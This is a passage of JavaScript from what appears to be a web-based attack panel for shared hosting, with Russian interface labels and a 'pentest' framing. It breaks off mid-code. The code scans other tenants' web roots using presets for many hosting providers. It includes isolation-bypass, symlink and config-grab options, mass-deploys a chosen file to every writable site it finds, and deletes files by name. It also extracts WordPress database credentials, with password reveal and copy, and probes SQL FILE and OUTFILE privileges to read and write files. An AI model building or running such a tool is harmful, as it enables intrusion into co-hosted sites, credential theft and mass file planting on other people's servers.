templates.value = ['/home/master/applications/%slug%/public_html','/srv/users/%user%/apps/%slug%/public'].join('\\n');
}
function presetKinsta(){
presetBalanced();
scanAggr.checked=true; docrootsDeep.checked=true;
templates.value = ['/var/www/%domain%/htdocs','/www/%sld_label%/public','/www/%sld_label%_%env%/public'].join('\\n');
}
function presetEU(){
presetBalanced();
scanAggr.checked = true; docrootsDeep.checked = true; globalSweeps.checked = true;
templates.value = [
// OVH
'/home/*/www','/homez*/%user%/www','/homez*/*/www',
// Hostinger
'/home/u*/public_html','/home/u*/domains/%domain%/public_html',
// SiteGround
'/home/customer/www/%domain%/public_html','/home/customer/www/*/public_html',
// STRATO
'/home/strato/www/*/*/htdocs','/home/strato/www/*/%domain%/htdocs',
// Gandi
'/srv/data/web/vhosts/%domain%/htdocs','/srv/data/web/vhosts/*/htdocs',
// Infomaniak
'/home/clients/*/web','/home/clients/*/web/*',
// one.com
'/customers/*/*/*/*/httpd.www',
// Aruba
'/web/htdocs/www.%domain%/home','/web/htdocs/*/home'
].join('\\n');
}
Array.prototype.forEach.call(document.querySelectorAll('.presetbar .btn'), function(btn){
btn.addEventListener('click', function(){
const p = this.getAttribute('data-preset');
if (p==='safe') presetSafe();
if (p==='balanced') presetBalanced();
if (p==='advanced') presetAdvanced();
if (p==='aggressive') presetAggressive();
if (p==='deploy') presetDeploy();
// Legacy presets
if (p==='default') presetBalanced();
if (p==='ionos') presetIONOS();
if (p==='cpanel') presetCPanel();
if (p==='plesk') presetPlesk();
if (p==='ispconfig') presetISPConfig();
if (p==='cloudways') presetCloudways();
if (p==='kinsta') presetKinsta();
if (p==='eu') presetEU();
});
});
/* UI helpers */
pick.addEventListener('click', function(){ marker.click(); });
btnUseText.addEventListener('click', function(){ marker.value=''; markerInfo.textContent='Файл не выбран (будет отправлен текст).'; markerText.focus(); });
marker.addEventListener('change', function(){ markerInfo.textContent = marker.files[0] ? ('Выбран файл: ' + marker.files[0].name + ' (' + marker.files[0].size + ' байт)') : 'Файл не выбран.'; });
['dragenter','dragover'].forEach(function(ev){ drop.addEventListener(ev, function(e){ e.preventDefault(); drop.classList.add('drag'); });});
['dragleave','drop'].forEach(function(ev){ drop.addEventListener(ev, function(e){ e.preventDefault(); drop.classList.remove('drag'); });});
drop.addEventListener('drop', function(e){ if (e.dataTransfer.files.length) { marker.files = e.dataTransfer.files; marker.dispatchEvent(new Event('change')); } });
/* API calls */
async function apiScan() {
if (!out || !btnScan) { console.error('Elements not found'); return; }
try {
out.textContent = 'Сканирование...';
btnScan.disabled = true;
const params = new URLSearchParams({
api:'scan',
wp_only: wpOnly.checked?1:0,
writable_only: writableOnly.checked?1:0,
writable_mode: writableMode.value,
scan_aggr: scanAggr.checked?1:0,
use_docroots: useDocroots.checked?1:0,
docroots_deep: docrootsDeep.checked?1:0,
global_sweeps: globalSweeps.checked?1:0,
scan_brute: scanBrute.checked?1:0,
brute_mode: bruteMode.value,
templates: templates.value,
use_defaults: scanBrute.checked?1:0,
client_min: clientMin.value||1,
client_max: clientMax.value||50,
web_min: webMin.value||1,
web_max: webMax.value||50,
cand_limit: candLimit.value||3500,
users_mode: usersMode.value,
users_custom: usersCustom.value,
env_list: envList.value,
q: q.value.trim(), limit: limit.value||1000
});
if (blindHunt && blindHunt.checked) { params.set('blind','1'); params.set('blind_cap', (blindCap && blindCap.value) ? blindCap.value : 8000); }
if (bypassIsolation && bypassIsolation.checked) { params.set('bypass_isolation','1'); }
if (bypassExtended && bypassExtended.checked) { params.set('bypass_extended','1'); }
if (detectUsers && detectUsers.checked) { params.set('detect_users','1'); }
if (configGrab && configGrab.checked) { params.set('config_grab','1'); }
if (symlinkGrab && symlinkGrab.checked) { params.set('symlink_grab','1'); }
const r = await fetch('?'+params.toString()+dbg);
const j = await r.json();
if (j.status !== 'ok') {
if (out) out.innerHTML = '<div style="color:#ff6b6b">Ошибка: ' + (j.message||'unknown') + (j.fatal?(' ('+j.fatal.message+')'):'') + '</div>';
return;
}
renderReport(j.report);
} catch(e){
console.error('Scan error:', e);
if (out) out.innerHTML = '<div style="color:#ff6b6b">Ошибка: '+e.message+'</div>';
} finally {
if (btnScan) btnScan.disabled = false;
}
}
function renderReport(rep) {
const h = [];
const mode = (rep.scan_opts && rep.scan_opts.mode==='blind') ? 'blind' : 'domains';
h.push('<div class="flex">'
+ '<span class="badge">Mode: '+mode+'</span>'
+ '<span class="badge">Domains: '+rep.totals.domains+'</span>'
+ '<span class="badge">Paths: '+rep.totals.paths+'</span>'
+ '<span class="badge">Writable: '+rep.totals.writable_paths+'</span>'
+ '<span class="badge">WP: '+rep.totals.wp_roots+'</span>'
+ '<span class="badge">Time: '+rep.time+'</span>'
+ '</div>');
h.push('<details class="coll"><summary>PHP окружение</summary><div class="kv small">'
+ '<div>Version</div><div>'+rep.php.runtime_version+'</div>'
+ '<div>SAPI</div><div>'+rep.php.sapi+'</div>'
+ '<div>open_basedir</div><div>'+(rep.php.open_basedir||'(нет)')+'</div>'
+ '<div>disabled</div><div><code>'+(rep.php.disabled||'(нет)')+'</code></div>'
+ '<div>DOCROOT</div><div><code>'+(rep.php.document_root||'')+'</code></div>'
+ '<div>Script</div><div><code>'+(rep.php.script||'')+'</code></div>'
+ '<div>User</div><div>'+((rep.php.ids&&rep.php.ids.user)||'-')+' (euid='+(rep.php.ids.euid||'-')+')</div>'
+ '<div>Group</div><div>'+((rep.php.ids&&rep.php.ids.group)||'-')+' (egid='+(rep.php.ids.egid||'-')+')</div>'
+ '<div>Groups</div><div class="small"><code>'+(((rep.php.ids&&rep.php.ids.groups)||[]).join(', ')||'-')+'</code></div>'
+ '</div></details>');
// Отображение информации о пользователях (если обнаружены)
if (rep.users_detected) {
const ud = rep.users_detected;
h.push('<details class="coll"><summary>⚠️ Обнаруженные пользователи ('+ud.count+')</summary><div class="small muted">ВНИМАНИЕ: Эта информация опасна для безопасности!</div>');
if (ud.details) {
const userRows = [];
Object.keys(ud.details).slice(0, 50).forEach(function(u){
const info = ud.details[u];
const badges = [];
if (info.is_serwer) badges.push('<span class="badge">serwer*</span>');
if (info.is_platne) badges.push('<span class="badge">platne</span>');
if (info.is_system) badges.push('<span class="badge">system</span>');
if (info.has_public_html) badges.push('<span class="badge">public_html</span>');
if (info.has_autoinstalator) badges.push('<span class="badge">autoinstalator</span>');
userRows.push('<div style="padding:4px;border-bottom:1px solid var(--line)">'
+'<strong>'+u+'</strong> '+badges.join(' ')
+'<div class="small muted">UID: '+(info.uid||'-')+' | Home: '+(info.home||'-')+' | Shell: '+(info.shell||'-')+'</div>'
+'</div>');
});
h.push('<div style="max-height:400px;overflow-y:auto">'+userRows.join('')+'</div>');
}
h.push('</details>');
}
if (!rep.domains.length) { h.push('<div class="muted">Ничего не найдено по текущим настройкам.</div>'); out.innerHTML=h.join(''); return; }
h.push('<table><thead><tr><th>Domain</th><th>Paths (детально)</th></tr></thead><tbody>');
rep.domains.forEach(function(d){
const rows = [];
d.paths.forEach(function(p){
const tags = [];
if (p.flags.is_wp) tags.push('<span class="tag-ok">WP</span>');
if (p.flags.multisite) tags.push('<span class="tag-warn">MULTISITE</span>');
if (p.flags.subdomain) tags.push('<span class="tag-warn">SUBDOMAIN</span>');
if (p.flags.is_writable) tags.push('<span class="tag-ok">writable</span>');
if (p.flags.is_symlink) tags.push('<span class="tag-warn">symlink</span>');
// Security flags
if (p.security) {
const sec = p.security;
if (sec.wp_config_world_readable) tags.push('<span class="tag-err">⚠️ wp-config world-readable</span>');
if (sec.wp_config_symlink) tags.push('<span class="tag-err">⚠️ wp-config symlink</span>');
if (sec.wp_config_backup_found) tags.push('<span class="tag-err">⚠️ wp-config backup</span>');
if (sec.env_files_found && sec.env_files_found.length > 0) tags.push('<span class="tag-err">⚠️ .env found</span>');
if (sec.git_found) tags.push('<span class="tag-warn">⚠️ .git found</span>');
if (sec.boundary_info && sec.boundary_info.outside_allowed) tags.push('<span class="tag-warn">⚠️ outside allowed</span>');
}
const ht = p.htaccess||{};
const htBad = ht.exists ? [] : ['.htaccess: нет'];
if (ht.exists) {
if (!ht.options_noindexes) htBad.push('Options -Indexes: нет');
if (!ht.deny_wpconfig) htBad.push('deny wp-config.php: нет');
if (!ht.deny_git_env_composer) htBad.push('deny .git/.env/composer: нет');
}
const why = p.fs.why ? (' — why: '+p.fs.why) : '';
const accessLine = 'perm '+(p.fs.perms||'-')
+' | U:'+(p.fs.u.r?'r':'-')+(p.fs.u.w?'w':'-')+(p.fs.u.x?'x':'-')
+' G:'+(p.fs.g.r?'r':'-')+(p.fs.g.w?'w':'-')+(p.fs.g.x?'x':'-')
+' O:'+(p.fs.o.r?'r':'-')+(p.fs.o.w?'w':'-')+(p.fs.o.x?'x':'-')
+' | traverse:'+(p.fs.can_traverse?'Y':'N')+' list:'+(p.fs.can_list?'Y':'N')+' write:'+(p.fs.can_write?'Y':'N')+why
+' | world-writable:'+(p.writable_world?'Y':'N')+' group-writable:'+(p.writable_group?'Y':'N');
const src = p.source ? (' [src: '+p.source+']') : '';
rows.push('<details class="coll">'
+ '<summary><code>'+p.path+'</code> '+tags.join(' ')+src+'</summary>'
+ '<div class="grid" style="grid-template-columns:1fr 1fr;">'
+ '<div>'
+ '<div class="small">WP версия: '+(p.wp.version||'-')+' | URL: '+((p.wp.urls||[]).join(', ')||'-')+'</div>'
+ '<div class="small">'+accessLine+'</div>'
+ '<div class="small">owner: '+(p.fs.owner||'-')+' ('+(p.fs.owner_uid||'-')+') | group: '+(p.fs.group||'-')+' ('+(p.fs.group_gid||'-')+')</div>'
+ '<div class="small '+(htBad.length?'tag-err':'tag-ok')+'">.htaccess: '+(ht.exists?'да':'нет')+(htBad.length?(' — ' + htBad.join('; ')):' — OK')+'</div>'
+ (p.security ? (
'<div class="small" style="margin-top:8px;padding:4px;background:var(--card);border:1px solid var(--line);border-radius:4px">'
+ '<strong>Security Flags:</strong><br>'
+ (p.security.wp_config_exists ? ('wp-config: '+(p.security.wp_config_readable?'readable':'not readable')+' | perms: '+(p.security.wp_config_perms||'-')+' | '+(p.security.wp_config_world_readable?'<span style="color:#ff6b6b">WORLD-READABLE</span>':'safe')+'<br>') : '')
+ (p.security.wp_config_symlink ? '<span style="color:#ff6b6b">⚠️ wp-config is symlink</span><br>' : '')
+ (p.security.wp_config_backup_found ? '<span style="color:#ff6b6b">⚠️ wp-config backup files found</span><br>' : '')
+ (p.security.env_files_found && p.security.env_files_found.length > 0 ? '<span style="color:#ff6b6b">⚠️ .env files: '+p.security.env_files_found.length+'</span><br>' : '')
+ (p.security.git_found ? '<span style="color:#ffb454">⚠️ .git directory found</span><br>' : '')
+ (p.security.boundary_info ? ('boundary: '+(p.security.boundary_info.outside_allowed ? '<span style="color:#ffb454">outside allowed</span>' : 'inside allowed')+'<br>') : '')
+ '</div>'
) : '')
+ '</div>'
+ '<div>'
+ '<div class="small">Скрытое/бэкапы рядом:</div>'
+ '<div class="small muted">'+(((p.hidden||[]).map(function(h){return '<code>'+h.name+'</code>';}).join(', '))||'(не обнаружено)')+'</div>'
+ '</div>'
+ '</div>'
+ '</details>');
});
h.push('<tr><td style="width:320px"><strong>'+d.domain+'</strong></td><td>'+rows.join('')+'</td></tr>');
});
h.push('</tbody></table>');
out.innerHTML = h.join('');
}
if (btnScan) {
btnScan.addEventListener('click', apiScan);
} else {
console.error('btnScan not found');
}
/* Deploy */
if (btnDeploy) {
btnDeploy.addEventListener('click', async function(){
if (!out || !btnDeploy) { console.error('Elements not found for Deploy'); return; }
try {
const fd = new FormData();
fd.append('csrf', window.__CSRF__||'');
fd.append('only_wp', (wpOnly && wpOnly.checked) ? '1' : '0');
fd.append('writable_only', (writableOnly && writableOnly.checked) ? '1' : '0');
fd.append('writable_mode', (writableMode && writableMode.value) || 'effective');
fd.append('limit', (limit && limit.value) || '1000');
fd.append('deploy_aggr', (deployAggr && deployAggr.checked) ? '1':'0');
if (deployBrute && deployBrute.checked) fd.append('deploy_brute','1');
fd.append('use_docroots', (useDocrootsDeploy && useDocrootsDeploy.checked) ? '1':'0');
if (docrootsDeepDeploy && docrootsDeepDeploy.checked) fd.append('docroots_deep','1');
if (globalSweepsDeploy && globalSweepsDeploy.checked) fd.append('global_sweeps','1');
fd.append('brute_mode', (bruteMode && bruteMode.value) || 'append');
fd.append('templates', (templates && templates.value) || '');
fd.append('use_defaults', (scanBrute && scanBrute.checked) ? '1':'0');
fd.append('client_min', (clientMin && clientMin.value) || '1');
fd.append('client_max', (clientMax && clientMax.value) || '50');
fd.append('web_min', (webMin && webMin.value) || '1');
fd.append('web_max', (webMax && webMax.value) || '50');
fd.append('cand_limit', (candLimit && candLimit.value) || '3500');
fd.append('users_mode', (usersMode && usersMode.value) || 'append');
fd.append('users_custom', (usersCustom && usersCustom.value) || '');
fd.append('env_list', (envList && envList.value) || '');
if (targetSub && targetSub.value.trim()!=='') fd.append('target_sub', targetSub.value.trim());
if (mkSub && mkSub.checked) fd.append('create_subdirs','1');
if (targetName && targetName.value.trim() !== '') fd.append('target_name', targetName.value.trim());
if (prefixDomain && prefixDomain.checked) fd.append('prefix_domain','1');
if (suffixDomain && suffixDomain.checked) fd.append('suffix_domain','1');
if (dryRun && dryRun.checked) fd.append('dry_run','1');
if (overwriteMarker && overwriteMarker.checked) fd.append('overwrite_marker','1');
if (forceWrite && forceWrite.checked) fd.append('force_write','1');
if (blindDeploy && blindDeploy.checked) { fd.append('blind','1'); fd.append('blind_cap', (blindCapDeploy && blindCapDeploy.value) || '8000'); }
if (bypassIsolation && bypassIsolation.checked) fd.append('bypass_isolation','1');
if (bypassExtended && bypassExtended.checked) fd.append('bypass_extended','1');
if (marker && marker.files && marker.files[0]) fd.append('marker', marker.files[0]);
else if (markerText && markerText.value.trim() !== '') fd.append('marker_text', markerText.value);
else { alert('Выбери файл‑маркер или введи текст.'); return; }
btnDeploy.disabled = true; btnDeploy.textContent = 'Deploy...';
const r = await fetch('?api=deploy'+dbg, { method:'POST', body: fd });
const j = await r.json();
if (j.status!=='ok') {
if (out) out.innerHTML = '<div style="color:#ff6b6b">Ошибка: ' + (j.message||'unknown') + (j.fatal?('('+j.fatal.message+')'):'') + '</div>';
return;
}
const ok = j.written;
const failed = j.results.filter(function(x){return x.status==='failed';}).length;
const dry = j.results.filter(function(x){return x.status==='dry_run';}).length;
const rows = [];
rows.push('<div class="flex"><span class="badge">mode: '+(j.mode||'-')+'</span><span class="badge">ok: '+ok+'</span><span class="badge">dry: '+dry+'</span><span class="badge">failed: '+failed+'</span></div>');
rows.push('<table><thead><tr><th>Domain</th><th>Path</th><th>File</th><th>Status</th></tr></thead><tbody>');
j.results.forEach(function(x){ rows.push('<tr><td>'+x.domain+'</td><td><code>'+x.path+'</code></td><td><code>'+(x.file||'')+'</code></td><td>'+x.status+'</td></tr>'); });
rows.push('</tbody></table>');
if (out) out.innerHTML = rows.join('');
} catch(e) {
console.error('Deploy error:', e);
if (out) out.innerHTML = '<div style="color:#ff6b6b">Ошибка: '+e.message+'</div>';
} finally {
if (btnDeploy) { btnDeploy.disabled = false; btnDeploy.textContent = 'Deploy'; }
}
});
} else {
console.error('btnDeploy not found');
}
/* Delete */
if (btnDelete) {
btnDelete.addEventListener('click', async function(){
if (!out || !btnDelete) { console.error('Elements not found for Delete'); return; }
try {
const name = prompt('Удалить файлы по точному имени (без масок): введите имя, например "__pt_probe.txt"');
if (!name) return;
const fd = new FormData();
fd.append('csrf', window.__CSRF__||'');
fd.append('target_name', name);
fd.append('only_wp', (wpOnly && wpOnly.checked) ? '1' : '0');
fd.append('writable_mode', (writableMode && writableMode.value) || 'effective');
fd.append('limit', (limit && limit.value) || '1000');
if (scanAggr && scanAggr.checked) fd.append('scan_aggr','1');
if (scanBrute && scanBrute.checked) fd.append('scan_brute','1');
fd.append('use_docroots', (useDocroots && useDocroots.checked) ? '1':'0');
if (docrootsDeep && docrootsDeep.checked) fd.append('docroots_deep','1');
if (globalSweeps && globalSweeps.checked) fd.append('global_sweeps','1');
fd.append('brute_mode', (bruteMode && bruteMode.value) || 'append');
fd.append('templates', (templates && templates.value) || '');
fd.append('use_defaults', (scanBrute && scanBrute.checked) ? '1':'0');
fd.append('client_min', (clientMin && clientMin.value) || '1');
fd.append('client_max', (clientMax && clientMax.value) || '50');
fd.append('web_min', (webMin && webMin.value) || '1');
fd.append('web_max', (webMax && webMax.value) || '50');
fd.append('cand_limit', (candLimit && candLimit.value) || '3500');
fd.append('users_mode', (usersMode && usersMode.value) || 'append');
fd.append('users_custom', (usersCustom && usersCustom.value) || '');
fd.append('env_list', (envList && envList.value) || '');
if (targetSub && targetSub.value.trim()!=='') fd.append('target_sub', targetSub.value.trim());
if (blindDeploy && blindDeploy.checked) { fd.append('blind','1'); fd.append('blind_cap', (blindCapDeploy && blindCapDeploy.value) || '8000'); }
if (bypassIsolation && bypassIsolation.checked) fd.append('bypass_isolation','1');
if (bypassExtended && bypassExtended.checked) fd.append('bypass_extended','1');
if (btnDelete) { btnDelete.disabled = true; btnDelete.textContent = 'Deleting...'; }
const r = await fetch('?api=delete'+dbg, { method:'POST', body: fd });
const j = await r.json();
if (j.status!=='ok') {
if (out) out.innerHTML = '<div style="color:#ff6b6b">Ошибка: ' + (j.message||'unknown') + (j.fatal?('('+j.fatal.message+')'):'') + '</div>';
return;
}
const del = j.deleted;
const rows = [];
rows.push('<div class="flex"><span class="badge">mode: '+(j.mode||'-')+'</span><span class="badge">deleted: '+del+'</span><span class="badge">scanned: '+j.results.length+'</span></div>');
rows.push('<table><thead><tr><th>Domain</th><th>Path</th><th>File</th><th>Status</th></tr></thead><tbody>');
j.results.forEach(function(x){ rows.push('<tr><td>'+x.domain+'</td><td><code>'+x.path+'</code></td><td><code>'+(x.file||'')+'</code></td><td>'+x.status+'</td></tr>'); });
rows.push('</tbody></table>');
if (out) out.innerHTML = rows.join('');
} catch(e) {
console.error('Delete error:', e);
if (out) out.innerHTML = '<div style="color:#ff6b6b">Ошибка: '+e.message+'</div>';
} finally {
if (btnDelete) { btnDelete.disabled = false; btnDelete.textContent = 'Delete'; }
}
});
} else {
console.error('btnDelete not found');
}
/* ==================== НОВЫЕ ФУНКЦИИ ПЕНТЕСТА ==================== */
// Модальное окно пентеста
function openPentestModal(title, content) {
var modal = document.getElementById('pentestModal');
var titleEl = document.getElementById('pentestModalTitle');
var contentEl = document.getElementById('pentestModalContent');
if (modal && titleEl && contentEl) {
titleEl.textContent = title;
contentEl.innerHTML = content;
modal.style.display = 'block';
}
}
function closePentestModal() {
var modal = document.getElementById('pentestModal');
if (modal) modal.style.display = 'none';
}
// Закрытие модала по клику вне контента
document.addEventListener('click', function(e) {
var modal = document.getElementById('pentestModal');
if (e.target === modal) closePentestModal();
});
// Форматирование JSON для отображения
function formatJsonHtml(obj, indent) {
indent = indent || 0;
var pad = ' '.repeat(indent);
var html = '';
if (Array.isArray(obj)) {
if (obj.length === 0) return '<span style="color:#888">[]</span>';
html += '[<br>';
obj.forEach(function(item, i) {
html += pad + ' ' + formatJsonHtml(item, indent + 1);
if (i < obj.length - 1) html += ',';
html += '<br>';
});
html += pad + ']';
} else if (obj && typeof obj === 'object') {
var keys = Object.keys(obj);
if (keys.length === 0) return '<span style="color:#888">{}</span>';
html += '{<br>';
keys.forEach(function(key, i) {
var val = obj[key];
var color = typeof val === 'boolean' ? (val ? '#0f0' : '#f66') :
typeof val === 'number' ? '#6cf' :
typeof val === 'string' ? '#fc6' : '#fff';
html += pad + ' <span style="color:#9cf">"' + key + '"</span>: ';
html += formatJsonHtml(val, indent + 1);
if (i < keys.length - 1) html += ',';
html += '<br>';
});
html += pad + '}';
} else if (typeof obj === 'string') {
html += '<span style="color:#fc6">"' + obj.replace(/</g, '<').replace(/>/g, '>').substring(0, 500) + (obj.length > 500 ? '...' : '') + '"</span>';
} else if (typeof obj === 'boolean') {
html += '<span style="color:' + (obj ? '#0f0' : '#f66') + '">' + obj + '</span>';
} else if (typeof obj === 'number') {
html += '<span style="color:#6cf">' + obj + '</span>';
} else if (obj === null) {
html += '<span style="color:#888">null</span>';
} else {
html += String(obj);
}
return html;
}
// Рендер отчета уязвимостей
function renderVulnReport(vulns) {
var h = [];
// Core
if (vulns.core && vulns.core.version) {
h.push('<div class="card" style="margin-bottom:15px">');
h.push('<h4>🏠 WordPress Core: ' + vulns.core.version + '</h4>');
if (vulns.core.vulnerabilities && vulns.core.vulnerabilities.length > 0) {
h.push('<table><tr><th>CVE</th><th>Description</th><th>Severity</th><th>Max Version</th></tr>');
vulns.core.vulnerabilities.forEach(function(v) {
var sevColor = v.severity === 'critical' ? '#f66' : (v.severity === 'high' ? '#fa0' : (v.severity === 'medium' ? '#ff0' : '#0f0'));
h.push('<tr><td>' + (v.cve || '-') + '</td><td>' + v.description + '</td><td style="color:' + sevColor + '">' + v.severity.toUpperCase() + '</td><td>' + v.max_version + '</td></tr>');
});
h.push('</table>');
} else {
h.push('<div class="tag-ok">✓ No known vulnerabilities for this version</div>');
}
h.push('</div>');
}
// Plugins
if (vulns.plugins && Object.keys(vulns.plugins).length > 0) {
h.push('<div class="card" style="margin-bottom:15px">');
h.push('<h4>🔌 Vulnerable Plugins (' + Object.keys(vulns.plugins).length + ')</h4>');
h.push('<table><tr><th>Plugin</th><th>Version</th><th>Vulnerabilities</th><th>Exploitable</th></tr>');
Object.keys(vulns.plugins).forEach(function(plugin) {
var p = vulns.plugins[plugin];
var vulnCount = p.vulnerabilities ? p.vulnerabilities.length : 0;
var exploitable = p.exploitable ? '<span class="tag-err">YES - ' + p.exploitable.description + '</span>' : '-';
h.push('<tr><td><strong>' + plugin + '</strong><br><small>' + (p.name || '') + '</small></td><td>' + (p.version || '-') + '</td><td>' + vulnCount + '</td><td>' + exploitable + '</td></tr>');
});
h.push('</table>');
h.push('</div>');
}
// Config issues
if (vulns.configs && vulns.configs.issues && vulns.configs.issues.length > 0) {
h.push('<div class="card" style="margin-bottom:15px">');
h.push('<h4>⚙️ Configuration Issues (' + vulns.configs.issues.length + ')</h4>');
h.push('<table><tr><th>Issue</th><th>Severity</th><th>Recommendation</th></tr>');
vulns.configs.issues.forEach(function(issue) {
var sevColor = issue.severity === 'critical' ? '#f66' : (issue.severity === 'high' ? '#fa0' : (issue.severity === 'medium' ? '#ff0' : '#0f0'));
h.push('<tr><td>' + issue.issue + '</td><td style="color:' + sevColor + '">' + issue.severity.toUpperCase() + '</td><td>' + issue.recommendation + '</td></tr>');
});
h.push('</table>');
h.push('</div>');
}
return h.join('');
}
// Рендер пентест-отчета
function renderPentestReport(report) {
var h = [];
// Risk Score
var riskColor = report.risk_level === 'critical' ? '#f66' : (report.risk_level === 'high' ? '#fa0' : (report.risk_level === 'medium' ? '#ff0' : '#0f0'));
h.push('<div class="flex" style="margin-bottom:15px">');
h.push('<span class="badge" style="font-size:16px;padding:10px 15px;background:' + riskColor + '20;border-color:' + riskColor + '">Risk Score: ' + report.risk_score + '/100 (' + report.risk_level.toUpperCase() + ')</span>');
h.push('<span class="badge">Target: ' + report.target + '</span>');
h.push('<span class="badge">Time: ' + report.timestamp + '</span>');
h.push('</div>');
// WordPress Info
if (report.wordpress) {
h.push('<details class="coll" open><summary>🏠 WordPress Info</summary><div class="kv small">');
h.push('<div>Version</div><div>' + (report.wordpress.version || '-') + '</div>');
h.push('<div>Multisite</div><div>' + (report.wordpress.multisite && report.wordpress.multisite.multisite ? 'Yes' : 'No') + '</div>');
h.push('<div>URLs</div><div>' + ((report.wordpress.urls || []).join(', ') || '-') + '</div>');
h.push('</div></details>');
}
// Vulnerabilities
if (report.vulnerabilities) {
h.push('<details class="coll" open><summary>⚠️ Vulnerabilities</summary><div>');
h.push(renderVulnReport(report.vulnerabilities));
h.push('</div></details>');
}
// Database
if (report.database && report.database.wp_config_found) {
h.push('<details class="coll"><summary>🗄️ Database Analysis</summary><div class="kv small">');
h.push('<div>Connection</div><div>' + (report.database.connection_test && report.database.connection_test.success ? '<span class="tag-ok">SUCCESS</span>' : '<span class="tag-err">FAILED</span>') + '</div>');
if (report.database.connection_test && report.database.connection_test.success) {
h.push('<div>Server</div><div>' + (report.database.connection_test.server_info || '-') + '</div>');
h.push('<div>Databases</div><div>' + (report.database.databases || []).length + ' found</div>');
h.push('<div>FILE Privilege</div><div>' + (report.database.exploits && report.database.exploits.has_file_privilege ? '<span class="tag-err">YES - CAN READ FILES</span>' : '<span class="tag-ok">No</span>') + '</div>');
if (report.database.other_sites && report.database.other_sites.length > 0) {
h.push('<div>Other WP Sites</div><div>' + report.database.other_sites.length + ' found in database</div>');
}
}
h.push('</div></details>');
}
// Exploits
if (report.exploits && Object.keys(report.exploits).length > 0) {
h.push('<details class="coll" open><summary>⚡ Successful Exploits (' + Object.keys(report.exploits).length + ')</summary><div>');
h.push('<table><tr><th>Type</th><th>Method</th><th>Details</th></tr>');
Object.keys(report.exploits).forEach(function(key) {
var exp = report.exploits[key];
h.push('<tr><td><strong>' + key + '</strong></td><td>' + (exp.method || '-') + '</td><td>' + (exp.url || exp.details || exp.path || '-') + '</td></tr>');
});
h.push('</table></div></details>');
}
// Recommendations
if (report.recommendations && report.recommendations.length > 0) {
h.push('<details class="coll" open><summary>📋 Recommendations (' + report.recommendations.length + ')</summary><div>');
h.push('<table><tr><th>Priority</th><th>Action</th><th>Details</th></tr>');
report.recommendations.forEach(function(rec) {
var prioColor = rec.priority === 'critical' ? '#f66' : (rec.priority === 'high' ? '#fa0' : (rec.priority === 'medium' ? '#ff0' : '#0f0'));
h.push('<tr><td style="color:' + prioColor + '">' + rec.priority.toUpperCase() + '</td><td>' + rec.action + '</td><td>' + (rec.details || '') + '</td></tr>');
});
h.push('</table></div></details>');
}
// File System
if (report.file_system && report.file_system.security_flags) {
h.push('<details class="coll"><summary>📁 File System Security</summary><div class="small">');
h.push('<pre style="background:#0b0f13;padding:10px;border-radius:5px;overflow-x:auto">' + formatJsonHtml(report.file_system.security_flags) + '</pre>');
h.push('</div></details>');
}
// Bypass Results
if (report.bypass_results) {
var bypassCount = 0;
Object.keys(report.bypass_results).forEach(function(k) {
bypassCount += (report.bypass_results[k] || []).length;
});
h.push('<details class="coll"><summary>🌀 Bypass Results (' + bypassCount + ' findings)</summary><div class="small">');
h.push('<pre style="background:#0b0f13;padding:10px;border-radius:5px;overflow-x:auto;max-height:300px">' + formatJsonHtml(report.bypass_results) + '</pre>');
h.push('</div></details>');
}
return h.join('');
}
// DB Explorer
var btnDbExplorer = document.getElementById('btnDbExplorer');
if (btnDbExplorer) {
btnDbExplorer.addEventListener('click', async function() {
var path = prompt('Введите путь к WordPress корню:', '/home/user/public_html');
if (!path) return;
this.disabled = true;
this.textContent = 'Loading...';
try {
var fd = new FormData();
fd.append('path', path);
fd.append('csrf', window.__CSRF__ || '');
var response = await fetch('?api=db_explore' + dbg, { method: 'POST', body: fd });
var data = await response.json();
if (data.status === 'ok' && data.db_info) {
var db = data.db_info;
var html = '<div class="kv">';
html += '<div>wp-config.php</div><div>' + (db.wp_config_found ? '<span class="tag-ok">Found</span>' : '<span class="tag-err">Not Found</span>') + '</div>';
if (db.db_credentials && Object.keys(db.db_credentials).length > 0) {
html += '<div>DB Name</div><div><code>' + (db.db_credentials.DB_NAME || '-') + '</code></div>';
html += '<div>DB User</div><div><code>' + (db.db_credentials.DB_USER || '-') + '</code></div>';
html += '<div>DB Host</div><div><code>' + (db.db_credentials.DB_HOST || 'localhost') + '</code></div>';
html += '<div>Table Prefix</div><div><code>' + (db.db_credentials.table_prefix || 'wp_') + '</code></div>';
// Пароль со скрытием
var dbPass = db.db_credentials.DB_PASSWORD || '';
var passId = 'dbpass_' + Math.random().toString(36).substr(2, 9);
html += '<div>DB Password</div><div>';
html += '<span id="' + passId + '_hidden" style="cursor:pointer;color:#fa0" onclick="document.getElementById(\'' + passId + '_hidden\').style.display=\'none\';document.getElementById(\'' + passId + '_show\').style.display=\'inline\'">🔒 <u>Click to reveal</u></span>';
html += '<span id="' + passId + '_show" style="display:none"><code style="background:#300;padding:2px 8px;border-radius:3px">' + dbPass + '</code> <button class="btn small" onclick="navigator.clipboard.writeText(\'' + dbPass.replace(/'/g, "\\'") + '\').then(function(){alert(\'Copied!\')})">📋</button></span>';
html += '</div>';
}
if (db.connection_test) {
html += '<div>Connection</div><div>' + (db.connection_test.success ? '<span class="tag-ok">SUCCESS - ' + (db.connection_test.server_info || '') + '</span>' : '<span class="tag-err">FAILED: ' + (db.connection_test.error || '') + '</span>') + '</div>';
}
if (db.databases && db.databases.length > 0) {
html += '<div>Databases</div><div>' + db.databases.length + ' accessible: <code>' + db.databases.join(', ') + '</code></div>';
}
if (db.exploits) {
html += '<div>FILE Privilege</div><div>' + (db.exploits.has_file_privilege ? '<span class="tag-err">YES - Can read/write files!</span>' : '<span class="tag-ok">No</span>') + '</div>';
html += '<div>OUTFILE Write</div><div>' + (db.exploits.can_write_outfile ? '<span class="tag-err">YES - Can write files via SQL!</span>' : '<span class="tag-ok">No</span>') + '</div>';
if (db.exploits.file_read_test && db.exploits.file_read_test.length > 0) {
html += '<div>File Read Test</div><div>';
db.exploits.file_read_test.forEach(function(f) {
html += '<div class="tag-err">✓ Read ' + f.file + '</div>';
});
html += '</div>';
}
}
if (db.other_sites && db.other_sites.length > 0) {
html += '<div>Other WP Sites</div><div>' + db.other_sites.length + ' WordPress databases found:</div>';
html += '</div><table><tr><th>Database</th><th>Site URL</th><th>Tables</th></tr>';
db.other_sites.forEach(function(site) {
html += '<tr><td>' + site.database + '</td><td>' + (site.siteurl || site.home || '-') + '</td><td>' + site.tables_count + '</td></tr>';
});
html += '</table>';
} else {
html += '</div>';
}
// Кнопки действий
html += '<div style="margin-top:15px;display:flex;gap:10px">';
